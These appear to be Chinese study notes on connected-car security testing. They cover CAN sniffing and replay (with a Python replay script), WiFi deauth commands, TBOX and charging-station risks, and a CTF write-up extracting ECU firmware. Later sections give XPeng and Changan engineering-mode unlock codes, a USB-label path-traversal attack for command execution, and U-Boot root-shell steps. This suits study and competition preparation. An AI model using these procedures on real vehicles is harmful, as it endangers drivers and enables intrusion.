与该工具匹配的软件是PCAN-View,需要安装PeakOemDrv这款驱动软件,PCAN-View才 能正常运行。

c)CANoe

与该工具匹配的软件同样也叫做CANoe,需要安装对应的驱动

d)Can-utils

一款安装在kali中的can渗透工具包,包含了许多CAN总线测试工具,比如candump、cansend、cansniffer、canplayer等。

  • 输入candump can0 –l 命令监听can总线数据并生成数据包
  • canplayer -I candump-xxxx-xx-xx_xxxx.log:发送监听保存的总线数据包

(2)攻击测试

a)CAN重放攻击

监听捕获can总线数据上的包,特别是控车指令包,再重放,查看车身有无异常响应。

b)CAN拒绝服务测试

发送大量仲裁包,使总线拒绝服务,不能再单独发数据包

c)CAN总线模糊测试

将CANalyst-II接入车身CAN总线,发送大量递归数据包,其中的异常包会使车辆失控,车窗,车灯,雨刷等开始不受控。

4.CAN重放逆向

连接PCAN,导入.asc文件即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/env python

"""
This example shows how sending a single message works.
"""

import can

import re
import os

from pwn import*

# Function to parse a line of the log file into a CAN message
def parse_can_message(line):
# Regular expression to match the structure of a CAN message in the log
can_msg_pattern = r'(\s*\d+\.\d+)\s+\d+\s+([0-9A-F]+)x\s+Rx\s+d\s+(\d+)\s+([0-9A-F ]+)'

match = re.match(can_msg_pattern, line)
if match:
timestamp = float(match.group(1))
message_id = int(match.group(2), 16)
dlc = int(match.group(3))
data = bytes(int(byte, 16) for byte in match.group(4).split())

return {
'timestamp': timestamp,
'message_id': message_id,
'dlc': dlc,
'data': data
}
else:
return None

def send_can_message(bus, message_id, data):
msg = can.Message(arbitration_id=message_id, data=data, is_extended_id=True)
try:
bus.send(msg)
print(f"Message sent on {bus.channel_info}: ID={message_id}, Data={data}")
except can.CanError:
print("Message NOT sent")

# Parse the log file
file_path = '/home/hacker/Desktop/Work/CAN/25sa.asc'

with open(file_path, 'r') as file:
lines = file.readlines()
parsed_messages = [parse_can_message(line) for line in lines if parse_can_message(line) is not None]


bus = can.interface.Bus(interface='pcan', channel='PCAN_USBBUS1', bitrate=125000)

for msg in parsed_messages:
pause()
#print("enter to send!")
send_can_message(bus, msg['message_id'], msg['data'])


然后依次重放每一个包,分析哪个包是指定的包。

防止重放:

LIN总线协议

专门为汽车开发的低成本串行通信网络,传输速率20Kb/s,通常一个LIN上节点数目小于12个,共有64个标识符

车载固件

固件通常由bootloader、内核、根文件系统及其他资源组成,根据嵌入式linux、嵌入式windows(WinCE)、windowsIOT内核及各种实时操作系统(RTOS)的区别,固件也有多种类型。

1.获取车载固件

没有车的情况下获取固件

  • 官网提供升级固件

  • 硬件调试接口JTAG获取固件

  • 读取Flash芯片获取固件

  • 通过串口获取车机系统Shell权限,进而对固件进行打包

  • 利用车机固件更新API,从云端获取更新固件

  • 云端信息泄露,如FTP弱口令或未授权接口获取车机固件

2.提取固件

提取方式

(1)车机有wifi功能,通过工程模式开启wifi热点,WiFi→FTP/TFTP→PC

在无线层面获取固件,是最理想的情况,这代表了根源的纯洁,固件还没有刷写入车机,其加密,校验,认证机制都是完整存在。

通常手段如下

  • FOTA下发升级过程中截取整个网段流量,从中打包逆向出升级固件包—— 已经非常少见,FOTA传输路径成熟,无法监听获取流量
  • 通过组网车载网络(wifi,热点,车载以太网),从端口接入系统,直接导出系统内的固件文件—— 前置条件是OTA的传输固件包有存储路径,否则只能导出来已经刷写好的系统组件,adb,ssh,nc,scp

(2)通过串口文件传输协议,直接提取固件,Uart→Xmodem/Ymodem/Zmodem→PC

物理层面的获取固件是可行性最大的,使用的硬件道具:jlink,ST-link,RT809,常用手段如下:

  • 串口通信传输:JTAG,SPI,SWD
  • 芯片提取:编程器

使用的硬件道具:jlink,ST-link,RT809

串口传输协议

Xmodem:

异步文件传输协议。分为标准Xmodem和1k-Xmodem两种,前者以128字节块的形式传输数据,后者字节块为1k即1024字节,并且每个块都使用一个校验和过程来进行错误检测。在校验过程中如果接收方关于一个块的校验和与它在发送方的校验和相同时,接收方就向发送方发送一个确认字节(ACK)。由于Xmodem需要对每个块都进行认可,这将导致性能有所下降,特别是延时比较长的场合,这种协议显得效率更低。

一个完整的数据帧一共132字节,其中包含128字节数据,数据帧以固定3字节帧头开始

  • 第一个是控制字符SOH(0x01)
  • 第二个是数据帧序号
  • 第三个是数据帧序号反码
  • 第四个是数据帧固定长度为128,不足128为使用CTRLZ(0X1A)进行补齐
  • 第五个是校验和

6-1634876115

Ymodem

Xmodem改良版,它可以一次传输1024字节的信息块,同时还支持传输多个文件。

  • 第一个是控制字符SOH(0x01)
  • 第二个是数据帧序号
  • 第三个是数据帧序号反码
  • 第四个是传输的文件名filename
  • 第五个是传输的大小filesize
  • 第六个是NULL部分,数据部分的128字节减去filename和filesize,剩下的用00填充
  • 第七个是校验和CRC

Zmodem

采用串流传输方式,传输速度最快。Zmodem数据帧:ZPAD + ZDLE + A + frame-type ZF3 ZF2 ZF1 ZF0 CRC-1 CRC-2

  • ZPAD+ZDLE:帧头

  • A:报头的数据是二进制格式

  • frame-type:帧类型

  • ZF3 ZF2 ZF1 ZF0:4个字节信息

  • CRC-1 CRC-2:校验和

支持这三种协议的工具分别是minicom和SecureCRT。

通过使用SecureCRT可以直接下载或上传文件,如果芯片系统里存在lrzsz,可以直接用Zmodem进行传输。

使用sz filename即可开始下载

3.获取Shell

硬件都会有调试接口,就是Uart。

Uart:通用异步收发传输器,是一种串行异步收发协议,应用十分广泛。Uart工作原理是将数据的二进制位一位一位的进行传输。在UART通讯协议中信号线上的状态位高电平代表’1’低电平代表’0’。当然两个设备使用UART串口通讯时,必须先约定好传输速率,也就是波特率。

典型的波特率有这些:300,1200,2400,9600,19200,38400,115200。(上述波特率并不全)

如果试过每一个波特率还是无法接收到可见字符,可能是两个问题:

  • 找错了串口

  • 可能它本身传输的数据是不可见字符

连接Uart需要三根线,分别是:

  • TX:发送数据端,要接对面设备的RX

  • RX:接收数据端,要接对面设备的TX

  • GND:保证两设备共地,有统一的参考平面

image-20230708170412699

车载无线通信

车载无线通讯技术由车载导航模块、车载无线通信模块、安全报警模块、行车状态记录模块、多媒体播放模块、数据采集模块、语音识别模块、地理信息系统模块八部分组成。所有的数据都通过车载信息中心进行处理、协调,并做出正确的反应。

1.WIFI

最常见的Wi-Fi安全类型是WEP,WPA和WPA2。

  • WPA2:带来了另外一系列安全和加密升级,最值得注意的是将高级加密标准(AES)引入消费者Wi-Fi网络。AES比RC4强得多(因为RC4已被多次破解),并且是当前许多在线服务所采用的安全标准。

  • WPA3:已经推出,目前是最高的安全等级,尚未暴露危险,WPA3为标准增加了更强大的192位加密

测试工具

  • Aircrack:Aircrack是目前最流行的WiFi密码破解工具。市面上能破解 WiFi加密的工具有很多,不外乎利用WEP安全漏洞或者暴力字典攻击的方式破解WPA/WPA2 PSK密码。WPA2 AES/CCMP加密依然是相对安全的选择。如果采用WPA2 PSK模式,那么你的密码长度最好是13位以上混合字符。在你的Wi-Fi网络被入侵或者“蹭网”之前,最好先用破解工具自我攻击一下。 Aircrack是一个开源的WEP/WPA/WPA2 PSK破解工具,可以运行在windows、Mac OS X、Linux和OpenBSD上。可以下载到Vmware镜像文件或Live CD文件。
  • Kismet:Kismet是一个开源的WiFi扫描器,包嗅探器和入侵政策系统,可以在windows、Mac OSX、Linux和BSD上运行。Kismet能显示AP详细信息,包括隐藏的SSID,还能捕获原始无线数据包,还可以将数据导入 Wireshark、TCPdump等工具进行分析。在windows环境,受驱动程序限制,Kismet只能与 CACE AirPcap无线网卡配合工作。但在Mac OSX和Linux上,Kismet可以兼容很多无线网卡
  • Wifiphisher:开源无线安全工具Wifiphisher能够对WPA加密的AP无线热点实施自动化钓鱼攻击,获取密码账户。由于利用了社工原理实施中间人攻击,Wifiphisher在实施攻击时无需进行暴力破解。WiFiphiser是基于MIT许可模式的开源软件,运行于Kali Linux之上。

WIFI deauth攻击

1.将无线网卡接入测试电脑Linux虚拟机(装有Aircrack-ng)

2.测试电脑使用Linux虚拟机

3.在kali的命令行中输入ifconfig,查看无线网卡是否成功连接至系统(出现了名为wlan0的无线网卡则是成功连接)

4.使用命令ifconfig wlan0 up启用无线网卡

image-20230709144403979

5.使用命令airmon-ng start wlan0 将网卡设置为监听模式(开启混杂模式才能嗅探所有经过网卡的数据包)

6.使用命令ifconfig查看网卡是否开启监听模式

7.监听模式开启成功后,使用命令airodump-ng wlan0对当前环境的无线网络进行嗅探,根据SSID确认攻击目标,并记录目标MAC(mon0为激活监听模式的无线网卡名称)

image-20230709144416743

8.使用命令aireplay-ng -0 100 –a AP的mac wlan0进行DeAuth攻击(-0 采用deauth攻击模式,100为攻击次数,-a 后跟AP的MAC地址,-c 后跟客户端的MAC地址)

image-20230709144430217

在攻击期间内,目标热点断开即为攻击成功

2.蓝牙

攻击类型

1、无ping码认证,设备冒充,获取车辆蓝牙连接,导致传输文件,播放音频,获取蓝牙日志存储

2、蓝牙dos攻击,使蓝牙无法连接,功能异常

3、蓝牙重放攻击,蓝牙钥匙控制指令泄露并重放

测试工具

BtleJuice框架:

BLE-Replay:

3.射频中继劫持

除开WIFI和蓝牙,整车还存在射频中继,GPS劫持,或者全频率干扰

车身的各类功能性频率都可以存在漏洞利用,tpms检测干扰,PEPS开车重置,车门钥匙死锁,甚至使板件波形破译,都存在问题

智能网联汽车安全

1.智能汽车

不同厂商的车联网实现架构不同,但总体架构可分为4部分:

  • 信息娱乐系统(IVI):IVI:早期以CD机的形式进行音频播放,在车联网功能推广后,目前的车载娱乐系统可以通过蜂窝网络接入互联网,并提供以下常见功能:实时导航,网页浏览,视频播放,手机投屏,语音控车等。车载信息娱乐系统通常具备一部分CAN总线操控能力,因此车载信息娱乐系统”功能外溢”现象产生的攻击面很可能会导致控车漏洞的产生。

  • 车载网关(TBOX):车载网关(Telematics BOX)。负责车机内部的以太网通信,同时提供联网能力,实现车端与云平台(TSP)的远程长连接。T-BOX具备一定CAN总线的能力,也是数字钥匙(手机控车)的实现载体。通过数字钥匙,用户可以通过手机对车辆进行远程操控(云钥匙)或者近场操控(蓝牙钥匙,NFC钥匙)。其中云钥匙的实现架构如下图所示:

  • 手机端车联网应用(APP):手机端车联网应用程序。多数车联网汽车厂商会向车主提供车联网应用程序,此类APP通常具备以下功能: 车主服务,应用商城,远程控车等。

  • 车联网云平台服务(TSP):车载信息服务提供商(TelematicsServiceProvider)。在车联网系统中以云的形式向用户侧与车辆侧提供以下服务:用户信息维护,车辆定位,状态监控等。

攻击路径:

图片1

车联网安全风险:

image-20230709153558408

OBD:On-Board Diagnostics

2.TBOX安全

TBOX通常是汽车用于联网的模块,又叫T盒、车载无线终端等,国外也称之为TSP(Telematics Control Unit)远程信息控制单元。上端与TSP(Telematics Services Provider)服务器相连,下端与CAN总线等其他汽车模块相连。通常会提供远程控制、车辆故障诊断、OTA升级、网络共享、蓝牙钥匙、载荷分析等功能

(1)基础概念

TBOX接口

通常可以分为三种,分别为天线、通信接口以及电源

  • 天线:蜂窝网络天线、WI-FI天线、GNSS天线、FM广播天线、蓝牙天线等
  • 接口:USB、Ethernet、CAN、UART等

通常来说接口有一定的特征,比如天线一般采用FAKRA(FAchKReis Automobil)连接器,这种连接器一般采用同轴电缆、单线单芯。此外颜色通常也有一定特征,比如蓝色用于GNSS、紫色用于蜂窝网络等

USB一般采用HSD(High-Speed Data)连接器,该接口常用于信息娱乐模块和显示装置。

TBOX结构

一般分为两种结构,一种是SoC和通信模组分离,一种是SoC和通信模组集成在一块。

SIM卡

大部分的TBOX采用eSIM卡(电子化的SIM卡),也有普通的SIM

MCU

一般TBOX上有一个MCU机械控制单元,负责与CAN总线进行通信

(2)TBOX安全威胁

一般的威胁有调试接口、固件提取、车联网服务平台(伪装成TBOX向云端发起攻击)、公网暴露(一些开启了Telnet的TBOX开放在云端)、CAN总线、协议安全

(3)TBOX使用

微信图片_20230913170516

如上TBOX的信息,分析可得为奔驰汽车,制造商为Harman,型号(Model)为HERMES 1.5 CN。通信方面可知,有蓝牙标签、WIFI模块WLAN-MAC:746FF7091E2E

右侧的进网许可也可以在网络上进行查询。

(4)设备上电

实际摸索把

(5)寻找入口

调试接口,实际摸索

充电桩安全

基础知识

充电桩由TCU(Traiff and Control Unit)计费控制单元、充电主控模块、功率控制模块、开关电源等等部分组成

接口

微信图片_20230914110640

架构

如上图所示,通常存在多种接口,包括CAN、串口、SIM卡槽等等,可以通过这些接口与其进行交互,常见的TCU架构如下

image-20230914110947544

充电插头

微信图片_20230914111233

其中相关的定义如下

触头编号/标识 额定电压和额定电流 功能定义
DC+ 750V/1000V 80A/125A/200A/250A 直流电源正极,连接直流电源正极与电池正极
DC- 750V/1000V 80A/125A/200A/250A 直流电源负极,连接直流电源负极与电池负极
PE —– 保护接地,连接供电设备地线和车辆电平台
S+ 0~330V 2A 充电通信CAN_H,连接非车载充电机与电动汽车的通信线
S- 0~330V 2A 充电通信CAN_L,连接非车载充电机与电动汽车的通信线
CC1 0~330V 2A 充电连接确认
CC2 0~330V 2A 充电连接确认
A+ 0~330V 20A 低压辅助电源正,连接非车载充电机为电动汽车提供的低压辅助电源
A- 0~330V 20A 低压辅助电源负,连接非车载充电机为电动汽车提供的低压辅助电源

充电协议

充电机与电池管理系统BMS(Battery Management System)进行通信时基于CAN通信协议,速率为250kbit/s,使用29bit标识符的CAN扩展帧,通信地址固定,无法更改。充电机地址86(0x56)BMS地址244(F4)

可见GBT-27930-2015标准规定的具体内容

image-20230914140412675

安全风险

主要有一下几个方面

  • 调试接口:常见的接口测试
  • 开放服务漏洞:FTP、SSH弱口令等
  • 固件漏洞:提取固件之后分析硬编码、算法等等
  • CPU卡:监听串口数据,获取用户卡片加密密码等
  • BMS通信协议:伪造充电报文、伪装其他用户充电
  • 通信协议:充电桩与主站之间采用MQTT协议,可能存在潜在的漏洞

TIPS

实际上测试的时候,由于充电桩使用静态IP,那么电脑与充电桩直连时,无法获取有效的IP,可以用netdiscover命令进行扫描,对应命令为netdiscover -r 192.168.1.1/16扫描整个网段即可发现充电桩的相关IP

CTF题目

2020网鼎Teslaaaaa

拿到ecu_can_log.asc文件,是can信息内容,可以用savvycan打开查看

image-20230913090346445

接下来一步一步分析

第一步/请求进入编程会话

10 02进入诊断控制会话,请求进入编程会话

1
2
9.498709 1  7DF             Tx   d 8 02 10 02 AA AA AA AA AA
9.499693 1 7B0 Rx d 8 06 50 02 00 32 01 F4 00

正反馈06 50,允许进入

第二步/请求27种子

请求27安全访问,请求种子,对应子服务为05,即27 05

1
2
9.740585 1  730             Tx   d 8 02 27 05 AA AA AA AA AA
9.741697 1 7B0 Rx d 8 06 67 05 11 22 33 44 00

正反馈06 67 05,返回种子信息,对应种子信息为11 22 33 44,大端序,对应0x11223344

第三步/计算密钥进入27服务

通过种子计算,使用双方约定算法计算密钥,发送密钥,对应子服务为06,尝试进入27服务

1
2
9.782739 1  730             Tx   d 8 06 27 06 EE DD CC BB AA
9.783703 1 7B0 Rx d 8 02 67 06 00 00 00 00 00

依据密钥0xEEDDCCBB,响应正反馈67 06,允许进入27服务

第四步/31例程控制,擦除Flash

进入27服务后,发送多帧数据,请求擦除Flash

1
2
3
4
9.788131 1  730             Tx   d 8 10 0D 31 01 FF 00 44 08
9.788431 1 7B0 Rx d 8 30 08 00 00 00 00 00 00
9.788947 1 730 Tx d 8 21 00 00 00 00 00 20 00
9.789707 1 7B0 Rx d 8 05 71 01 FF 00 00 00 00
  • 第一帧:10 0D,代表多帧数据首帧,数据字节数为0xD个字节,后面的31 01 FF 00 44 08即为首帧数据。
  • 第二帧:车机返回数据,30 08 00...00,代表多帧数据中控制速率的帧,不用解析
  • 第三帧:21中的2代表为多帧数据中的一个帧,1代表为多帧数据中首帧之后的第一个数据帧,传输数据为00 00 00 00 00 20 00
  • 第四帧:车机返回数据,05 71 01 FF 00 00,代表针对31 01 FF 00服务的正反馈

总的传输数据为31 01 FF 00 44 08 00 00 00 00 00 20 00

  • 31 01 FF 00其中31RoutineControl (0x31) 服务,表示客户端用于执行一系列定义的步骤并获取相关结果,在UDS诊断协议一节中有对应表格解释。01routineControlType RoutineControl Request SID := startRoutine代表例程控制类型,为启动例程,对应还有02停止例程,03请求例程结果。FF 00表示具体的例程控制服务,功能为内容擦除。详细目录可参考ISO 14229-1-2020中的Annex F (normative) Routine functional unit data-parameter definitions一节的Table F.1 — routineIdentifier definition,提取内容如附录所示。
  • 0x44代表后面的地址和地址字宽都是4字节
  • 08 00 00 00代表Flash擦除的起始地址为0x08000000
  • 00 00 20 00代表需要擦除0x00002000个字节

可参考:跟我学UDS(ISO14229) ———— 0x31(RoutineControl)_小趴菜_自动驾驶搬砖人的博客-CSDN博客

第五步/34例程控制,请求下载

发送多帧数据,请求下载

1
2
3
4
9.791765 1  730             Tx   d 8 10 0B 34 00 44 08 00 00
9.792061 1 7B0 Rx d 8 30 08 00 00 00 00 00 00
9.792625 1 730 Tx d 8 21 00 00 00 20 00 AA AA
9.793715 1 7B0 Rx d 8 04 74 20 01 02 00 00 00

就不逐帧解析了,服务为34 00,请求下载ECU固件,发送的多帧总数据长度为0x0b,总数据为34 00 44 08 00 00 00 00 00 20 00,即请求下载ECU固件到0x08000000地址处,总计下载0x00002000字节数据。

可参考:跟我学UDS(ISO14229) ———— 0x34(RequestDownload)_小趴菜_自动驾驶搬砖人的博客-CSDN博客

第六步/36数据传输

发送多帧数据,请求数据传输

1
2
3
4
5
6
7
8
9
10
11
   9.795696 1  730             Tx   d 8 10 82 36 01 28 04 00 20
9.795987 1 7B0 Rx d 8 30 08 00 00 00 00 00 00
9.796548 1 730 Tx d 8 21 45 01 00 08 21 03 00
9.796790 1 730 Tx d 8 22 08 23 03 00 08 27 03
9.797030 1 730 Tx d 8 23 00 08 2B 03 00 08 2F
.....
9.802931 1 7B0 Rx d 8 02 76 01 00 00 00 00 00
9.804553 1 730 Tx d 8 10 82 36 02 5F 01 00 08
9.804847 1 7B0 Rx d 8 30 08 00 00 00 00 00 00
9.805419 1 730 Tx d 8 21 5F 01 00 08 5F 01 00
....

服务为36,每次多帧传输实际数据为0x80(0x82-0x02),总计传输0x40(0x2000/0x80)

第七步/37退出数据传输服务

传输数据完成后,发送37 01服务,退出数据传输

1
2
10.314499 1  730             Tx   d 8 02 37 01 AA AA AA AA AA
10.315695 1 7B0 Rx d 8 06 77 01 C6 B6 5E 10 00

得到正反馈06 77 01,允许退出

第八步/31例程控制,厂商自定义功能

服务为31 01 DF FF0xDFFF为厂商自定义服务

1
2
3
10.318529 1  730             Tx   d 8 04 31 01 DF FF AA AA AA 
10.319707 1 7B0 Rx d 8 03 7F 31 78 00 00 00 00
10.320695 1 7B0 Rx d 8 05 71 01 DF FF 00 00 00

这里针对31 01服务反馈的0x7f不知道什么意思,后面又正反馈了,不过不影响解题

第九步/31例程控制,检查编程依赖

服务为31 01 FF 01,检查编程依赖

1
2
10.322633 1  730             Tx   d 8 04 31 01 FF 01 AA AA AA
10.323695 1 7B0 Rx d 8 05 71 01 FF 01 00 00 00

第十步/ECU复位

服务为02 11 01,对ECU进行复位

1
2
3
10.325697 1  7DF             Tx   d 8 02 11 01 AA AA AA AA AA
10.326689 1 7B0 Rx d 8 03 7F 11 78 00 00 00 00
11.326752 1 7B0 Rx d 8 02 51 01 00 00 00 00 00

中间有个拒绝复位的,不知道咱们回事,后面又正反馈了,也不影响解题

那么主要就是第六步中的数据传输,编写脚本进行提取,参考:CTF实战

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import re
frame_len = 0
frame_data = ""
handled_len = 0

with open("ecu_can_log.asc") as f:
for line in f.readlines():
data = re.findall(r"730 Tx d 8 10 (..) 36 .. (.. .. .. ..)",line)
if len(data):
frame_len = int(data[0][0],16)
handled_len = 6
frame_data += data[0][1] + " "
continue
data = re.findall(r"730 Tx d 8 2(.) (.. .. .. .. .. .. ..)",line)
if len(data) and frame_data:
left_len = frame_len - handled_len
if left_len > 7:
frame_data += data[0][1] + " "
handled_len += 7
else:
frame_data += data[0][1][0:left_len*-1] + " "

with open("./output.bin","wb+") as f:
f.write(bytes.fromhex(frame_data.replace(" ","")))

最后得到output.bin文件,放入IDA进行解析,设置arm小端序格式

image-20230913151525141

随后设置ROMInput file起始地址为0x08000000

image-20230913151636812

进入分析之后,按下Alt + g进行指令格式修改,设置如下

image-20230913151725568

随后按c转为代码即可正常逆向,0x08000000为起始地址及函数,可以从这开始分析,查找字符串即可看到flag,但是不是最终的,需要进入函数进行分析

image-20230913151820185

image-20230913155213705

在如下函数进行修改

image-20230913155244062

最终得到flag,那么提取出来计算一下就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
ori_flag = "canoecr7-zd9h-1emi-or8m-f8vm2od81nfk"
ori_flag = list(ori_flag)
a1 = []
for i in ori_flag:
#print(i)
a1.append(ord(i))

a1[2] -= 13
a1[11] -= 5
a1[15] -= 44
a1[3] -= 11
a1[5] -= 48
a1[7] += 43
a1[28] += 50
a1[31] += 46
a1[19] -= 13
a1[20] -= 66
a1[1] += 3
a1[29] -= 55
a1[24] -= 51
a1[9] -= 23
a1[25] -= 6
a1[27] -= 60
a1[4] -= 52
a1[6] -= 14
a1[30] -= 52
a1[22] -= 58
a1[12] -= 48
a1[16] -= 56
a1[34] -= 53
a1[0] -= 48
a1[14] += 3
a1[17] -= 5
a1[33] -= 55
a1[35] -= 56
a1[10] -= 2
a1[26] -= 67
a1[21] -= 6
flag = "flag{"
for i in a1:
flag += chr(i)
flag += "}"
print(flag)

使用ghidra也可以加载File->import File,设置languagearmv6小端序

image-20230913153250226

随后options打开,设置一下基地址即可

image-20230913154044197

也从最开始的函数分析即可

image-20230913154307880

找到flag

image-20230913154327708

一样解析一下即可。

车联网比赛准备

站在主办方的角度准备车型、品牌,比如比赛在重庆举办,那么使用长安汽车的概率久比较高。

常见漏洞点

1.工程模式

2.流量分析

与车机组网,向上分析TSP平台的漏洞,常见的WEB漏洞;向下分析车机端的漏洞,比如任意软件安装

如果DNS(53)端口开放,那么热点极有可能是TBOX发出的。

3.系统漏洞挖掘

拿到车机权限后就是进一步漏洞挖掘了

4.调试接口

通过逻辑分析仪和示波器等,可以判断调试串口的Tx接口、波特率等。

常见风险点

进入系统,一般查找如下几个点

  • 运行了哪些进程
  • 开启了哪些端口
  • 有没有厂家开发人员留下的调试手段/后门等
  • 和哪些云端主机进行通讯
  • 应用商店使用抓包:
    • 中间人替换应用包
    • 应用商店FTP获取用户名密码,登录篡改apk
  • APP使用抓包

车机TIPs

工程模式

有很多的特殊的进入方法,比如拨号盘输入密码,长按系统版本版本号,时间等,逆向固件获取工程模式密码,咸鱼/淘宝搜索车型固件,社工

长安

部分车型在拨号盘输入*#201301#*进入工程模式,输入*#518299#*进入Android原生界面

ADB开启

小鹏

小鹏P5 (OTA3.50及之前)或小鹏G9 (OTA4.3.1及之前)或小鹏G6(末测试)或小鹏P7(OTA2.10及之前)或小鹏G3 (版本不确定,最新版不行)

电脑和车机组网

打开车机的拨号界面,输入 *#9925*111#*

此时车机会显示一个页面,其中包含一个二维码

使用微信扫描车机的二维码,并将内容保存备用

在任意输入框中输入内容 https://hackxpeng.bgcpdd.eu.org/xpeng?m=hackxpeng&id= ,然后将获取到的二维码内容复制到最后面,注意此处不要有任何的空格

使用浏览器打开输入框中的所有内容 (网址拼接,如: https://hackxpeng.bgcpdd.eu.org/xpeng?m=hackxpeng&id-XPENGD55xXXXXXxxxxxxxx

浏览器返回一个解锁码,如*#03*12345678*#

将该解锁码输入车机的拨号界面,此时解锁码会自动消失,如果没有消失请手动删除所有内容

image-20230915094134303

固件获取

获取固件的方法有很多,除了提取之外还能从论坛、官网下载等

  • 官网下载:车企官网可能可以下载车机升级包

  • 分析流量获取下载地址:可以抓取车机升级包的流量,如果通过明文传输可以获取到下载地址

  • 从Flash提取:编程器提取芯片

  • 通过调试接口提取:车机上的系统,通常来说可以通过调试接口获取到对应的固件

  • 从系统导出:这个就需要拿到shell权限进行导出了,常见命令为

    1
    dd if=/dev/mtd0 of=/tmp/SD0/mtd0.bin

固件分析

常见的固件功能清单如下

名称 功能
container.iso.bin ISO光盘文件,包含bootloader、资源文件等
content.md5 保存其他文件的MD5值
custver.reg.bin 注册表文件,记录软件版本信息
force.dnl 配置文件
initramfs.bin 内核文件
1x001.tar.gz 压缩的根文件系统
manifest.ini 配置文件,记录固件的版本号、创建日期等
manifest.mnf manifest文件
manifest.smd 其他文件的签名信息,用于验证数据是否被篡改
reg_eur.tar.gz 压缩的资源文件
reg_gom.tar.gz.bins 压缩的资源文件
reg_nar.tar.gz 压缩的资源文件
SpecialLogDirX 日志文件
triton_mid.bin u-boot legacy uImage文件
uimage.bin 内核文件
version.info 版本信息

USB目录穿越

针对1x001.tar.gz是车机的根文件系统,在文件系统中找到USB挂载程序,存在路径穿越漏洞,在udev的配置程序/etc/udev/scripts/mount.sh中,automount()函数用于挂载USB设备

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
automount()
if [ -z "${ID_FS_TYPE}" ]; then
logger -p user.err "mount.sh/automount" "$DEVNAME has no filesystem, not mounting"
return
fi
if [ -n "${ID_FS_UUID}" ]; then
mountdir = ${ID_FS_UUID}
elif [-n "${ID_FS_LABEL}" ]; then
mountdir = ${ID_FS_LABEL}
else
mountdir = "disk"
while [ -d $MOUNTPT/$mountdir ]; do
mountdir = "${mountdir}_"
done
fi

.....
result = $($MOUNT -t ${ID_FS_TYPE} -o sync,ro$IOCHARSET $DEVNAME "$MOUNTPT/$mountdir" 2>&1)

上述程序逻辑如下

  • 通过ID_FS_TYPE识别U盘文件系统的格式,如果识别成功则继续,否则退出
  • 继续则识别U盘的ID_FS_UUIDID_FS_LABEL,用于构造最终的挂载点,U盘挂载的地址由MOUNTPTmountdir进行拼接而成,MOUNTPT为固定值/dev/mediamountdir为一个变量,依据U盘中对于ID_FS_UUIDID_FS_LABEL进行赋值确定
  • 如果ID_FS_UUID不为空,则mountdir的值为ID_FS_UUID,如果为空,则判断ID_FS_LABEL是否为空,不为空则mountdir的值赋值为ID_FS_LABEL,若都为空,则将mountdir赋值为disk
  • 上述代码最终会将U盘挂载到/dev/media/$mountdir上,那么如果$mountdir可控,就可以通过../进行目录穿越,将之挂载到任意地方,比如/usr/bin/
  • $mountdir是可以通过ID_FS_UUIDID_FS_LABEL来确定,而ID_FS_UUIDID_FS_LABEL可以使用工具对U盘对应值进行修改,这样就可以通过ID_FS_UUIDID_FS_LABEL来控制$mountdir从而制造目录穿越。

使用blkidtune2fse2label命令来对U盘进行对应值修改,命令如下

1
2
3
4
5
6
7
blkid /dev/sdb1      #查看UUID
e2label /dev/sdb1 #查看LABEL

umount /dev/sdb1
tune2fs -U NULL /dev/sdb1 #置空UUID

e2label /dev/sdb1 "../../usr/bin" #将LABEL置为"../../usr/bin"

随后继续看mount.sh,有如下代码

1
2
3
4
5
6
7
8
if [${status} -ne 0];then
logger -p user.err "mount.sh/automount" "$MOUNT -t ${ID_FS_TYPE} -o sync,ro $DEVNAME \"$MOUNTPT/$mountdir\" failed: ${result}"
rm_dir "$MOUNTPT/$mountdir"
else
logger "mount.sh/automount" "mount [$MOUNTPT/$mountdir] with type ${ID_FS_TYPE} successful"
mkdir -p {MOUNTDB}
echo -n "$MOUNTPT/$mountdir" > "${MOUNTDB}/$devname"
fi

命令logger位于/usr/logger目录下,可以将LABEL置为../../usr/bin/从而将U盘中的同名命令logger放入到/usr/bin/中,那么在mount.sh调用到logger时,就会调用到U盘中的logger,那么即可执行任意命令,也就是说通过插拔U盘即可执行命令,不用进入到车机中,那么这时可以通过组网进行反弹shell到电脑中。

符号表恢复

系统启动

如果在调试串口的系统启动过程有Hit any key to stop autoboot: 0,那么代表在启动时时可以输入任意值进入U-Boot的。

进入之后可以通过输入help可以查看命令帮助,一般会有printenvsetenvsaveenv等设置环境变量的命令,可以通过这些命令进入单用户模式重置root用户的密码

比如bootargs环境变量如下

1
console = ${console},115200n8n mem=${linuxmem} maxcpus=${cores} root=/dev/${rootdev} rootwait lpj=1994752 panic=${panic} panic=${panic} panic_on_oops=${panic_on_oops} usbcore.rh_oc_handle=1 ${xtargs}

可以使用设置环境变量的命令在最后添加init=/bin/sh

1
2
3
setenv bootargs console = ${console},115200n8n mem=${linuxmem} maxcpus=${cores} root=/dev/${rootdev} rootwait lpj=1994752 panic=${panic} panic=${panic} panic_on_oops=${panic_on_oops} usbcore.rh_oc_handle=1 init=/bin/sh
saveenv
reset

车机重启后,就能直接进入单用户模式,获得rootshell,此时就可以重置一些密码,添加一些后门等。

测试工具

USBtin - USB to CAN interface - fischl.de

CANToolz

GitHub - CANToolz/CANToolz: CANToolz - Black-box CAN network analysis framework

进行CAN模糊的

USBtinViewer

USBtin - USB to CAN interface - fischl.de

GitHub - EmbedME/USBtinViewer: Simple GUI for USBtin (USB to CAN interface)

进行USBCAN协议探测

测试方法

故障注入

电压故障注入:《敲开内存保护的最后一扇门》付鹏飞

电磁故障注入:GitHub - newaetech/chipshouter-picoemp: Why not run micropython on your EMFI tool?

附录

ISO 14229-1-2020例程RID标准

RID Byte Value RID Name RID Description
0x0000 – 0x00FF ISO/SAE Reserved This value shall be reserved by this document for future definition
0x0100 – 0x01FF Tachograph Test Ids This range of values is reserved to represent Tachograph test result values.
0x0200 – 0xDFFF Vehicle Manufacturer Specific This range of values is reserved for vehicle manufacturer specific use.
0xE000 – 0xE1FF OBD Protocol Test Ids This range of values is reserved to represent OBD/EOBD test result values
